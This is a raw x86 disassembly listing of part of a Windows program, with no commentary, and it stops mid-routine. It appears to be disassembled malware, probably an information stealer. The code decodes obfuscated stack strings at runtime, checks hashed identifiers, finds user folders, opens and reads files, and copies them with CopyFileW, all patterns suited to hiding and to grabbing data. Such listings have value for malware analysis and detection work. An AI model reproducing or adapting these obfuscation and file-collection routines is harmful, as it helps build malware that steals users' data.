mov dword [esp + 0x28], 0xe2d4e4d3
mov dword [esp + 0x2c], 0xe7ebff27
mov dword [esp + 0x30], 0xfc21e8da
mov dword [esp + 0x34], 0x1e131424
mov dword [esp + 0x38], 0x1415f4db
mov dword [esp + 0x3c], 0x2f142c17
mov word [esp + 0x40], 0xbd2f
mov dword [esp + 0x42], 0
mov dword [esp], 0
mov eax, dword [esp]
cmp eax, 0x21
ja 0x429999
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp]
mov ecx, dword [esp]
movzx ecx, byte [esp + ecx + 0x24]
mov edx, eax
xor edx, 0xace03cf0
and eax, 0x2ce03cf0
lea eax, [edx + eax*2]
xor eax, ecx
mov dword [esp + 8], eax
mov eax, dword [esp + 8]
add al, 0x50
mov ecx, dword [esp]
mov byte [esp + ecx + 0x24], al
inc dword [esp]
mov eax, dword [esp]
cmp eax, 0x22
jb 0x429960
lea eax, [esp + 0x24]
mov ecx, dword [esp + 0x78]
push eax
call fcn.0042c8b0
xor ecx, ecx
test eax, eax
setne cl
xor ebx, ebx
jmp dword [ecx*4 + 0x44c530]
mov edi, dword [esp + 0x88]
jmp dword [0x44c550]
mov esi, dword [esp + 0x78]
mov ecx, esi
call fcn.0042ca10
push esi
call fcn.0040c9a0
add esp, 4
jmp dword [0x44c568]
jmp dword [0x44c544]
add eax, 8
xor ebp, ebp
mov ecx, dword [eax]
xor eax, eax
test ecx, ecx
setne al
xor ebx, ebx
xor edi, edi
xor edx, edx
jmp dword [eax*4 + 0x44c548]
not eax
mov ebx, dword [esp + 0x80]
mov dword [ebx + edi + 4], eax
add ebp, 8
mov ecx, dword [esp + 0x94]
add ecx, 4
mov ecx, dword [ecx]
xor eax, eax
test ecx, ecx
setne al
mov edi, ebx
jmp dword [eax*4 + 0x44c548]
mov dword [esp + 0x94], ecx
mov esi, dword [ecx]
mov eax, ebp
sub eax, edi
cmp ebp, edx
mov dword [esp + 0x7c], eax
je 0x429a5e
mov dword [esp + 0x14], ebp
mov ebp, edi
mov ecx, eax
jmp 0x429af1
sar eax, 3
inc eax
mov dword [esp + 0x10], edx
mov ecx, edx
sub ecx, edi
sar ecx, 3
mov ebx, ecx
shr ebx, 1
add ebx, ecx
cmp ebx, eax
ja 0x429a79
mov ebx, eax
mov eax, ebx
and eax, 0xfffffff7
mov ecx, ebx
and ecx, 8
mov edx, ebx
or edx, 8
imul edx, ecx
xor ecx, 8
imul ecx, eax
add edx, ecx
push edx
call fcn.0040c990
add esp, 4
mov ebp, eax
test edi, edi
je 0x429adc
mov edx, dword [esp + 0x10]
cmp edi, edx
je 0x429ad3
xor eax, eax
nop
nop
nop
nop
mov ecx, dword [edi + eax]
mov dword [ebp + eax], ecx
mov ecx, dword [edi + eax + 4]
mov dword [ebp + eax + 4], ecx
mov dword [edi + eax], 0
lea ecx, [edi + eax]
add ecx, 8
add eax, 8
cmp ecx, edx
jne 0x429ab0
push edi
call fcn.0040c9a0
add esp, 4
lea edx, [ebx*8]
add edx, ebp
mov eax, ebp
mov ecx, dword [esp + 0x7c]
add eax, ecx
mov dword [esp + 0x14], eax
mov dword [esp + 0x10], edx
mov dword [ebp + ecx], 0
mov dword [esp + 0x80], ebp
mov dword [ebp + ecx + 4], 0
mov ebx, 0xffffffff
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ebp, eax
cmp byte [esi + ebx + 1], 0
lea ebx, [ebx + 1]
lea eax, [eax + 1]
jne 0x429b20
lea edi, [ebx + 1]
push edi
mov dword [esp + 0x20], edi
call fcn.0040c990
add esp, 4
mov ecx, dword [esp + 0x80]
mov edx, dword [esp + 0x7c]
mov dword [ecx + edx], eax
mov ecx, edi
shr ecx, 2
mov edx, esi
mov edi, eax
xchg esi, edx
rep movsd dword es:[edi], dword [esi]
xchg esi, edx
mov ecx, dword [esp + 0x1c]
mov edx, ecx
and edx, 0xfffffffc
add eax, edx
add edx, esi
shr ecx, 1
and ecx, 1
mov dword [esp + 0x8c], edx
mov dword [esp + 0x90], eax
mov edi, eax
mov eax, dword [esp + 0x8c]
xchg esi, eax
rep movsw word es:[edi], word [esi]
xchg esi, eax
test bl, 1
jne 0x429ba8
mov edi, dword [esp + 0x1c]
and edi, 2
movzx ecx, byte [edx + edi]
mov eax, dword [esp + 0x90]
mov byte [eax + edi], cl
test ebx, ebx
je 0x429c20
cmp ebx, 1
mov edi, dword [esp + 0x7c]
jne 0x429bbc
mov eax, 0xffffffff
mov edx, dword [esp + 0x10]
jmp 0x429bfb
and ebp, 0xfffffffe
mov eax, 0xffffffff
mov edx, dword [esp + 0x10]
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, eax
shr ecx, 8
xor al, byte [esi]
movzx eax, al
xor ecx, dword [eax*4 + 0x447c28]
mov eax, ecx
shr eax, 8
xor cl, byte [esi + 1]
add esi, 2
movzx ecx, cl
xor eax, dword [ecx*4 + 0x447c28]
add ebp, 0xfffffffe
jne 0x429bd0
test bl, 1
mov ebp, dword [esp + 0x14]
je 0x429a10
mov ecx, eax
shr ecx, 8
xor al, byte [esi]
movzx eax, al
xor ecx, dword [eax*4 + 0x447c28]
mov eax, ecx
jmp 0x429a10
xor eax, eax
mov ebp, dword [esp + 0x14]
mov edx, dword [esp + 0x10]
mov edi, dword [esp + 0x7c]
jmp 0x429a12
push dword [esp + 0x84]
call fcn.0040c9a0
add esp, 4
mov dword [esp + 0x88], edi
mov eax, dword [esp + 0x18]
mov dword [esp], 0x74757677
mov dword [esp + 8], 0
mov ecx, dword [esp + 8]
cmp ecx, 3
ja 0x429cae
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [esp + 8]
mov edx, dword [esp + 8]
movzx edx, byte [esp + edx]
mov esi, ecx
xor esi, 0x6edbb14
and ecx, 0x6edbb14
lea ecx, [esi + ecx*2]
xor ecx, edx
mov dword [esp + 0x24], ecx
mov ecx, dword [esp + 0x24]
add cl, 0x9c
mov edx, dword [esp + 8]
mov byte [esp + edx], cl
inc dword [esp + 8]
mov ecx, dword [esp + 8]
cmp ecx, 4
jb 0x429c70
mov ecx, dword [0x450704]
test ecx, ecx
je 0x429cec
mov edx, dword [esp]
xor esi, esi
mov edi, dword [0x450708]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp dword [edi + esi*8], 0x625b6034
je 0x429ce0
inc esi
cmp ecx, esi
jne 0x429cd0
jmp 0x429cec
mov ecx, dword [edi + esi*8 + 4]
cmp ecx, edx
jne 0x42a0a4
mov edi, dword [esp + 0x88]
jmp dword [0x44c570]
xor eax, eax
cmp ebx, ebp
sete al
jmp dword [eax*4 + 0x44c578]
mov eax, ebp
mov dword [esp + 0x80], ebx
sub eax, ebx
sar eax, 3
mov ecx, eax
and ecx, 0xfffffbde
mov edx, eax
and edx, 0x421
or eax, 0x421
imul eax, edx
xor edx, 0x421
imul edx, ecx
add eax, edx
push eax
call fcn.0040c990
add esp, 4
mov dword [esp + 0x10], eax
mov eax, dword [0x450700]
mov dword [esp + 0x24], 0x7f32795d
mov dword [esp + 0x28], 0x63057def
mov dword [esp + 0x2c], 0x670a6101
mov dword [esp + 0x30], 0x6bfa6525
mov dword [esp + 0x34], 0x6f2a69f8
mov dword [esp + 0x38], 0x93066d0d
mov dword [esp + 0x3c], 0x97b391f1
mov dword [esp + 0x40], 0x9bed95e8
mov dword [esp + 0x44], 0x9ffb990c
mov dword [esp + 0x48], 0x83ef9dfd
mov dword [esp + 0x4c], 0x87ea81fc
mov dword [esp + 0x50], 0x8bed8517
mov dword [esp + 0x54], 0x8fe289e9
mov dword [esp + 0x58], 0xb3288dde
mov dword [esp + 0x5c], 0xb7dcb1d4
mov word [esp + 0x60], 0xb5b4
mov dword [esp + 0x62], 0
mov word [esp + 0x66], 0
mov dword [esp], 0
mov ecx, dword [esp]
cmp ecx, 0x43
ja 0x429e2b
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [esp]
mov edx, dword [esp]
movzx edx, byte [esp + edx + 0x24]
mov esi, ecx
xor esi, 0xd383436a
and ecx, 0xd383436a
lea ecx, [esi + ecx*2]
xor ecx, edx
mov dword [esp + 8], ecx
mov ecx, dword [esp + 8]
add cl, 0xee
mov edx, dword [esp]
mov byte [esp + edx + 0x24], cl
inc dword [esp]
mov ecx, dword [esp]
cmp ecx, 0x44
jb 0x429df0
lea ecx, [esp + 0x24]
lea edx, [esp + 0x18]
push edx
push 0
push 0
push 0x1e
push ecx
push 0
call eax
mov esi, dword [esp + 0x18]
test esi, esi
jns 0x429e4e
mov eax, 0xffffffff
jmp 0x429e51
lea eax, [esi + esi]
push eax
call fcn.0040c990
add esp, 4
mov dword [esp + 0x94], eax
mov eax, dword [0x450700]
mov dword [esp + 0x24], 0x89de8bf7
mov dword [esp + 0x28], 0x853b8739
mov dword [esp + 0x2c], 0x8136833b
mov dword [esp + 0x30], 0x9d2e9fdf
mov dword [esp + 0x34], 0x99c69b2c
mov dword [esp + 0x38], 0x951a9727
mov dword [esp + 0x3c], 0x91e9932b
mov dword [esp + 0x40], 0xed43ef34
mov dword [esp + 0x44], 0xe951eb60
mov dword [esp + 0x48], 0xe555e757
mov dword [esp + 0x4c], 0xe156e340
mov dword [esp + 0x50], 0xfd43ff51
mov dword [esp + 0x54], 0xf94efb43
mov dword [esp + 0x58], 0xf57cf78a
mov dword [esp + 0x5c], 0xf148f348
mov dword [esp + 0x60], 0xcff0
mov dword [esp], 0
mov ecx, dword [esp]
cmp ecx, 0x3f
ja 0x429f56
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [esp]
mov edx, dword [esp]
movzx edx, byte [esp + edx + 0x24]
lea edi, [ecx + ecx]
and edi, 0x77957046
mov ebx, ecx
not ebx
or ebx, 0x3bcab823
add ebx, ecx
sub ecx, edi
lea ecx, [ecx + ebx*2]
add ecx, 0xbbcab825
xor ecx, edx
mov dword [esp + 8], ecx
mov ecx, dword [esp + 8]
mov edx, ecx
xor edx, 0xaf
and ecx, 0x50
add ecx, ecx
sub ecx, edx
mov edx, dword [esp]
mov byte [esp + edx + 0x24], cl
inc dword [esp]
mov ecx, dword [esp]
cmp ecx, 0x40
jb 0x429f00
lea ecx, [esp + 0x18]
push ecx
push esi
mov esi, dword [esp + 0x9c]
push esi
push 0x1e
lea ecx, [esp + 0x34]
push ecx
push 0
call eax
lea eax, [esp + 0x20]
push 0x60
push 3
push 0x120089
push eax
push esi
call fcn.004448c0
add esp, 0x14
not eax
shr eax, 0x1f
mov dword [esp + 0x1c], 0
mov edi, dword [esp + 0x10]
jmp dword [eax*4 + 0x44c580]
lea eax, [esp + 0x98]
push 0
push eax
push dword [esp + 0x28]
call fcn.00444c20
add esp, 0xc
not eax
shr eax, 0x1f
xor ecx, ecx
mov edi, dword [esp + 0x10]
jmp dword [eax*4 + 0x44c588]
mov esi, dword [esp + 0x98]
lea eax, [esi + 1]
push eax
call fcn.0040c990
add esp, 4
push 0
push esi
mov dword [esp + 0x8c], eax
push eax
push dword [esp + 0x2c]
call fcn.00444d10
add esp, 0x10
not eax
shr eax, 0x1f
xor ecx, ecx
mov edi, dword [esp + 0x10]
jmp dword [eax*4 + 0x44c590]
mov esi, dword [esp + 0x98]
mov eax, dword [esp + 0x84]
mov byte [eax + esi], 0
push 0x20
call fcn.0040c990
add esp, 4
mov dword [eax + 8], 0
mov dword [eax + 4], 0
mov dword [eax + 0x18], 0xffffffff
mov dword [eax + 0x14], 0
mov dword [eax + 0x10], 0
mov dword [eax], 0
mov dword [esp + 0x9c], eax
mov ecx, eax
push esi
push dword [esp + 0x88]
call fcn.0042c670
movzx eax, al
xor ecx, ecx
mov edi, dword [esp + 0x10]
jmp dword [eax*4 + 0x44c598]
jmp dword [0x44c628]
mov esi, ecx
mov ebx, dword [esp + 0x9c]
mov ecx, ebx
call fcn.0042ca10
push ebx
call fcn.0040c9a0
mov ecx, esi
add esp, 4
jmp dword [0x44c630]
jmp dword [0x44c630]
mov dword [esp + 0x1c], ecx
jmp dword [0x44c63c]
push eax
push 1
push dword [0x45070c]
push ecx
call fcn.00441120
add esp, 0x10
mov edi, dword [esp + 0x88]
jmp dword [0x44c570]
jmp dword [0x44c568]
add esp, 0xa0
pop esi
pop edi
pop ebx
pop ebp
ret
jmp dword [0x44c658]
mov eax, dword [esp + 0x1c]
mov ecx, eax
and cl, 1
movzx ecx, cl
jmp dword [ecx*4 + 0x44c660]
jmp dword [0x44c668]
lea eax, [esp + 0x20]
push 0
push eax
push dword [esp + 0x20]
call fcn.00444c20
add esp, 0xc
not eax
shr eax, 0x1f
xor ebp, ebp
xor ebx, ebx
jmp dword [eax*4 + 0x44c4f8]
jmp dword [0x44c500]
xor ebx, ebx
xor ebp, ebp
jmp dword [0x44c570]
push edi
call fcn.0040c9a0
add esp, 4
xor eax, eax
cmp ebx, ebp
sete al
jmp dword [eax*4 + 0x44c578]
mov dword [esp + 0x80], ebx
xor eax, eax
mov esi, dword [esp + 0x80]
test esi, esi
je 0x42a0c9
cmp esi, ebp
je 0x42a0c9
mov edi, eax
jmp 0x42a177
add esi, 8
cmp esi, ebp
je 0x42a188
mov eax, dword [esi]
test eax, eax
je 0x42a170
push eax
call fcn.0040c9a0
add esp, 4
jmp 0x42a170
push dword [esp + 0x80]
call fcn.0040c9a0
add esp, 4
mov eax, edi
jmp 0x42a0c9
mov eax, dword [esp + 0x20]
mov dword [esp], 0x74757677
mov dword [esp + 8], 0
mov ecx, dword [esp + 8]
cmp ecx, 3
ja 0x42a1fe
nop
nop
nop
nop
nop
nop
mov ecx, dword [esp + 8]
mov edx, dword [esp + 8]
movzx edx, byte [esp + edx]
mov esi, ecx
xor esi, 0x6edbb14
and ecx, 0x6edbb14
lea ecx, [esi + ecx*2]
xor ecx, edx
mov dword [esp + 0x24], ecx
mov ecx, dword [esp + 0x24]
add cl, 0x9c
mov edx, dword [esp + 8]
mov byte [esp + edx], cl
inc dword [esp + 8]
mov ecx, dword [esp + 8]
cmp ecx, 4
jb 0x42a1c0
mov ecx, dword [0x450704]
test ecx, ecx
je case.0x429f97.47
mov edx, dword [esp]
xor esi, esi
mov ebx, dword [0x450708]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp dword [ebx + esi*8], 0x625b6034
je 0x42a230
inc esi
cmp ecx, esi
jne 0x42a220
jmp case.0x429f97.47
mov ecx, dword [ebx + esi*8 + 4]
cmp ecx, edx
je case.0x429f97.47
push eax
push 1
push dword [0x45070c]
push ecx
call fcn.00441120
add esp, 0x10
mov eax, dword [esp + 0x20]
mov dword [esp], 0x74757677
mov dword [esp + 8], 0
mov ecx, dword [esp + 8]
cmp ecx, 3
ja 0x42a2ae
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [esp + 8]
mov edx, dword [esp + 8]
movzx edx, byte [esp + edx]
mov esi, ecx
xor esi, 0x6edbb14
and ecx, 0x6edbb14
lea ecx, [esi + ecx*2]
xor ecx, edx
mov dword [esp + 0x24], ecx
mov ecx, dword [esp + 0x24]
add cl, 0x9c
mov edx, dword [esp + 8]
mov byte [esp + edx], cl
inc dword [esp + 8]
mov ecx, dword [esp + 8]
cmp ecx, 4
jb 0x42a270
mov ecx, dword [0x450704]
test ecx, ecx
je 0x42a2e8
mov edx, dword [esp]
xor esi, esi
mov ebx, dword [0x450708]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp dword [ebx + esi*8], 0x625b6034
je 0x42a2e0
inc esi
cmp ecx, esi
jne 0x42a2d0
jmp 0x42a2e8
mov ecx, dword [ebx + esi*8 + 4]
cmp ecx, edx
jne 0x42a2ee
jmp dword [0x44c640]
push eax
push 1
push dword [0x45070c]
push ecx
call fcn.00441120
add esp, 0x10
jmp dword [0x44c640]
mov dword [esp + 0x24], 0x738871b3
mov dword [esp + 0x28], 0x7fdd7dd8
mov dword [esp + 0x2c], 0x7bcc79cf
mov dword [esp + 0x30], 0x47ef45ea
mov dword [esp + 0x34], 0x43e641ef
mov dword [esp + 0x38], 0x4ff94def
mov dword [esp + 0x3c], 0x4be449fe
mov dword [esp + 0x40], 0x57f955fd
mov dword [esp + 0x44], 0x53ec51a6
mov dword [esp + 0x48], 0x5ff05df0
mov word [esp + 0x4c], 0x5958
mov dword [esp + 0x4e], 0
mov byte [esp + 0x52], 0
mov dword [esp], 0
mov eax, dword [esp]
cmp eax, 0x2e
ja 0x42a3c1
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp]
mov ecx, dword [esp]
movzx ecx, byte [esp + ecx + 0x24]
mov edx, eax
xor edx, 0xbe03d814
add eax, eax
and eax, 0x7c07b028
mov esi, eax
and esi, edx
xor eax, edx
lea eax, [eax + esi*2]
xor eax, ecx
mov dword [esp + 8], eax
mov eax, dword [esp + 8]
add al, 0x9c
mov ecx, dword [esp]
mov byte [esp + ecx + 0x24], al
inc dword [esp]
mov eax, dword [esp]
cmp eax, 0x2f
jb 0x42a380
lea eax, [esp + 0x24]
push 0
push eax
push edi
call dword [sym.imp.KERNEL32.dll_CopyFileW]
lea eax, [esp + 0x18]
push 0x60
push 3
push 0x120089
push eax
push edi
call fcn.004448c0
add esp, 0x14
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x44c4f0]
mov dword [esp + 0x84], ebx
not eax
shr eax, 0x1f
xor ebp, ebp
xor ebx, ebx
jmp dword [eax*4 + 0x44c510]
mov esi, dword [esp + 0x20]
mov ebx, dword [esp + 0x84]
mov byte [ebx + esi], 0
mov dword [esp + 0x88], edi
push 0x20
call fcn.0040c990
add esp, 4
mov edi, eax
mov dword [eax + 8], 0
mov dword [eax + 4], 0
mov dword [eax + 0x18], 0xffffffff
mov dword [eax + 0x14], 0
mov dword [eax + 0x10], 0
mov dword [eax], 0
jmp dword [0x44c51c]
lea ecx, [eax + 2]
cmp word [eax], 0
jne 0x42a6b8
sub eax, esi
lea ecx, [eax + 0x26]
cmp eax, 0xffffffd9
jge 0x42a476
mov ecx, 0xffffffff
push ecx
call fcn.0040c990
add esp, 4
mov edi, eax
mov dword [esp + 0x24], 0xf917fb18
mov dword [esp + 0x28], 0xe574e769
mov dword [esp + 0x2c], 0xe175e30e
mov dword [esp + 0x30], 0xed0aef09
mov dword [esp + 0x34], 0xe97beb01
mov dword [esp + 0x38], 0x957c977a
mov dword [esp + 0x3c], 0x917b9303
mov dword [esp + 0x40], 0x9d049f42
mov dword [esp + 0x44], 0x99709b70
mov word [esp + 0x48], 0x8798
mov dword [esp + 0x4a], 0
mov word [esp + 0x4e], 0
mov dword [esp], 0
mov eax, dword [esp]
cmp eax, 0x2b
ja 0x42a51e
nop
nop
mov eax, dword [esp]
mov ecx, dword [esp]
movzx ecx, byte [esp + ecx + 0x24]
add eax, 0x915f4fab
xor eax, ecx
mov dword [esp + 8], eax
mov eax, dword [esp + 8]
add al, 0xa9
mov ecx, dword [esp]
mov byte [esp + ecx + 0x24], al
inc dword [esp]
mov eax, dword [esp]
cmp eax, 0x2c
jb 0x42a4f0
movzx ecx, word [esi]
mov eax, edi
test cx, cx
je 0x42a541
lea edx, [esi + 2]
mov eax, edi
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x42a530
mov word [eax], 0
movzx ecx, word [esp + 0x24]
test cx, cx
je 0x42a571
lea edx, [esp + 0x26]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x42a560
mov word [eax], 0
mov ecx, esi
jmp dword [0x44c4d8]
jmp dword [0x44c4e0]
push esi
call fcn.0040c9a0
add esp, 4
xor eax, eax
cmp word [edi], 0x5b
sete al
jmp dword [eax*4 + 0x44c4e8]
mov eax, ecx
add ecx, 2
cmp word [eax], 0
jne case.0x428f82.15
sub eax, esi
lea ecx, [eax + 0x26]
cmp eax, 0xffffffd9
jge 0x42a5ba
mov ecx, 0xffffffff
push ecx
call fcn.0040c990
add esp, 4
mov dword [esp + 0x24], 0xf917fb18
mov dword [esp + 0x28], 0xe574e769
mov dword [esp + 0x2c], 0xe175e30e
mov dword [esp + 0x30], 0xed0aef09
mov dword [esp + 0x34], 0xe97beb01
mov dword [esp + 0x38], 0x957c977a
mov dword [esp + 0x3c], 0x917b9303
mov dword [esp + 0x40], 0x9d049f42
mov dword [esp + 0x44], 0x99709b70
mov word [esp + 0x48], 0x8798
mov dword [esp + 0x4a], 0
mov word [esp + 0x4e], 0
mov dword [esp], 0
mov ecx, dword [esp]
cmp ecx, 0x2b
ja 0x42a660
mov ecx, dword [esp]
mov edx, dword [esp]
movzx edx, byte [esp + edx + 0x24]
add ecx, 0x915f4fab
xor ecx, edx
mov dword [esp + 8], ecx
mov ecx, dword [esp + 8]
add cl, 0xa9
mov edx, dword [esp]
mov byte [esp + edx + 0x24], cl
inc dword [esp]
mov ecx, dword [esp]
cmp ecx, 0x2c
jb 0x42a630
movzx ecx, word [esi]
test cx, cx
je 0x42a681
lea edx, [esi + 2]
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x42a670
mov word [eax], 0
movzx ecx, word [esp + 0x24]
test cx, cx
je 0x42a6b1
lea edx, [esp + 0x26]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x42a6a0
mov word [eax], 0
mov ecx, esi
mov eax, ecx
jmp 0x42a45a
xor eax, eax
cmp word [edi], 0x5b
sete al
jmp dword [eax*4 + 0x44c4e8]
mov ecx, edi
push esi
push ebx
call fcn.0042c670
mov ecx, edi
push esi
push ebx
call fcn.0042c670
jmp dword [0x44c520]
mov esi, dword [esp + 0x20]
lea eax, [esi + 1]
push eax
call fcn.0040c990
add esp, 4
push 0
push esi
push eax
push dword [esp + 0x24]
call fcn.00444d10
add esp, 0x10
mov esi, dword [esp + 0x20]
lea eax, [esi + 1]
push eax
call fcn.0040c990
add esp, 4
mov ebx, eax
push 0
push esi
push eax
push dword [esp + 0x24]
call fcn.00444d10
add esp, 0x10
jmp dword [0x44c508]
int3
jmp eax
xor eax, eax
cmp ecx, 0xc
setne al
jmp dword [eax*4 + 0x44c680]
mov dword [esp + 0xb4], ecx
mov ebx, dword [esp + ecx + 0x7c]
mov esi, 0xfffffffe
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp word [ebx + esi + 2], 0
lea esi, [esi + 2]
jne 0x42ab50
mov edx, esi
sar edx, 1
mov eax, dword [esp + 0x60]
lea ecx, [edx + eax]
mov dword [esp + 0x50], edx
add edx, eax
add edx, 0xd
lea eax, [ecx*2 + 0x1a]
test edx, edx
jns 0x42ab7f
mov eax, 0xffffffff
push eax
call fcn.0040c990
add esp, 4
mov ebp, eax
mov eax, dword [esp + 0x4c]
movzx ecx, word [eax]
mov eax, ebp
test cx, cx
je 0x42abc1
mov edx, dword [esp + 0x8c]
mov eax, ebp
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x42abb0
mov word [eax], 0x5c
mov dword [esp + 0x14], 0x73067114
mov dword [esp + 0x18], 0x6f0d6dfb
mov dword [esp + 0x1c], 0x6bfe6909
mov dword [esp + 0x20], 0x67156544
mov dword [esp + 0x24], 0x630361ec
mov dword [esp + 0x28], 0x9f039d10
mov word [esp + 0x2c], 0x9998
mov dword [esp + 0x2e], 0
add eax, 2
mov dword [esp], 0
mov ecx, dword [esp]
cmp ecx, 0x1d
ja 0x42ac5b
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [esp]
mov edx, dword [esp]
movzx edx, byte [esp + edx + 0x14]
mov edi, ecx
xor edi, 0x392a44ec
and ecx, 0x392a44ec
lea ecx, [edi + ecx*2]
xor ecx, edx
mov dword [esp + 8], ecx
mov ecx, dword [esp + 8]
add cl, 0x64
mov edx, dword [esp]
mov byte [esp + edx + 0x14], cl
inc dword [esp]
mov ecx, dword [esp]
cmp ecx, 0x1e
jb 0x42ac20
movzx ecx, word [ebx]
test cx, cx
je 0x42ac81
lea edx, [ebx + 2]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x42ac70
mov word [eax], 0
movzx ecx, word [esp + 0x14]
test cx, cx
je 0x42acb1
lea edx, [esp + 0x16]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x42aca0
mov word [eax], 0
lea eax, [esp + 0x5c]
push 0x60
push 3
push 0x120089
push eax
push ebp
call fcn.004448c0
add esp, 0x14
not eax
shr eax, 0x1f
mov dword [esp + 0x48], ebx
jmp dword [eax*4 + 0x44c690]
xor ebx, ebx
jmp dword [0x44c710]
push ebp
call fcn.0040c9a0
add esp, 4
movzx eax, bl
jmp dword [eax*4 + 0x44c718]
lea eax, [esp + 0x98]
push 0
push eax
push dword [esp + 0x64]
call fcn.00444c20
add esp, 0xc
not eax
shr eax, 0x1f
xor ebx, ebx
mov dword [esp + 0xa4], ebp
jmp dword [eax*4 + 0x44c698]
jmp dword [0x44c6a0]
xor ebx, ebx
jmp dword [0x44c6e0]
mov eax, dword [esp + 0x60]
mov ecx, dword [esp + 0x50]
add eax, ecx
inc eax
mov ecx, eax
and ecx, 0x16
xor eax, 0x16
lea ecx, [eax + ecx*2]
lea eax, [ecx + ecx]
test ecx, ecx
mov ebp, dword [esp + 0x48]
jns 0x42ad57
mov eax, 0xffffffff
push eax
call fcn.0040c990
add esp, 4
mov ebx, eax
mov eax, dword [esp + 0x4c]
movzx ecx, word [eax]
mov eax, ebx
test cx, cx
je 0x42ad91
mov edx, dword [esp + 0x8c]
mov eax, ebx
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x42ad80
mov word [eax], 0x5c
mov dword [esp + 0x14], 0xc9becba8
mov dword [esp + 0x18], 0xc55bc759
mov dword [esp + 0x1c], 0xc156c35b
mov dword [esp + 0x20], 0xfd93ffe0
mov dword [esp + 0x24], 0xf96bfb70
mov dword [esp + 0x28], 0xf569f776
mov dword [esp + 0x2c], 0xf169f36d
mov dword [esp + 0x30], 0xed7aef94
mov dword [esp + 0x34], 0xe960eb77
mov dword [esp + 0x38], 0xe572e773
mov dword [esp + 0x3c], 0xe17ce378
mov word [esp + 0x40], 0x1fe0
lea ecx, [esp + 0x14]
mov word [ecx + 0x32], 0
mov dword [ecx + 0x2e], 0
add eax, 2
mov dword [esp], 0
mov ecx, dword [esp]
cmp ecx, 0x33
ja 0x42ae5b
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [esp]
mov edx, dword [esp]
movzx edx, byte [esp + edx + 0x14]
mov edi, ecx
xor edi, 0x4a7777d3
and ecx, 0xca7777d3
lea ecx, [edi + ecx*2]
xor ecx, edx
mov dword [esp + 8], ecx
mov ecx, dword [esp + 8]
add cl, 0xe1
mov edx, dword [esp]
mov byte [esp + edx + 0x14], cl
inc dword [esp]
mov ecx, dword [esp]
cmp ecx, 0x34
jb 0x42ae20
movzx ecx, word [ebp]
test cx, cx
je 0x42ae81
lea edx, [ebp + 2]
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x42ae70
mov word [eax], 0
movzx ecx, word [esp + 0x14]
test cx, cx
je 0x42aeb1
lea edx, [esp + 0x16]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x42aea0
mov word [eax], 0
lea eax, [esi + 0x12]
cmp dword [esp + 0x50], 0xfffffff7
jge 0x42aec5
mov eax, 0xffffffff
push eax
call fcn.0040c990
add esp, 4
mov dword [esp + 0x14], 0x9fe0b3d
mov dword [esp + 0x18], 0x58c07f3
mov dword [esp + 0x1c], 0x1f603ff
mov dword [esp + 0x20], 0x1de01ffc
mov word [esp + 0x24], 0x1b1c
lea ecx, [esp + 0x14]
mov byte [ecx + 0x16], 0
mov dword [ecx + 0x12], 0
mov dword [esp], 0
mov ecx, dword [esp]
cmp ecx, 0x16
ja 0x42af5c
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [esp]
mov edx, dword [esp]
movzx edx, byte [esp + edx + 0x14]
add ecx, 0x3062bbc3
xor ecx, edx
mov dword [esp + 8], ecx
mov ecx, dword [esp + 8]
mov edx, ecx
xor edx, 0xcf
and ecx, 0x30
add ecx, ecx
sub ecx, edx
mov edx, dword [esp]
mov byte [esp + edx + 0x14], cl
inc dword [esp]
mov ecx, dword [esp]
cmp ecx, 0x17
jb 0x42af20
movzx edx, word [ebp]
mov ecx, eax
test dx, dx
je 0x42af81
lea edi, [ebp + 2]
mov ecx, eax
nop
nop
nop
nop
mov word [ecx], dx
add ecx, 2
movzx edx, word [edi]
add edi, 2
test dx, dx
jne 0x42af70
mov word [ecx], 0
movzx edx, word [esp + 0x14]
test dx, dx
je 0x42afb1
lea edi, [esp + 0x16]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [ecx], dx
add ecx, 2
movzx edx, word [edi]
add edi, 2
test dx, dx
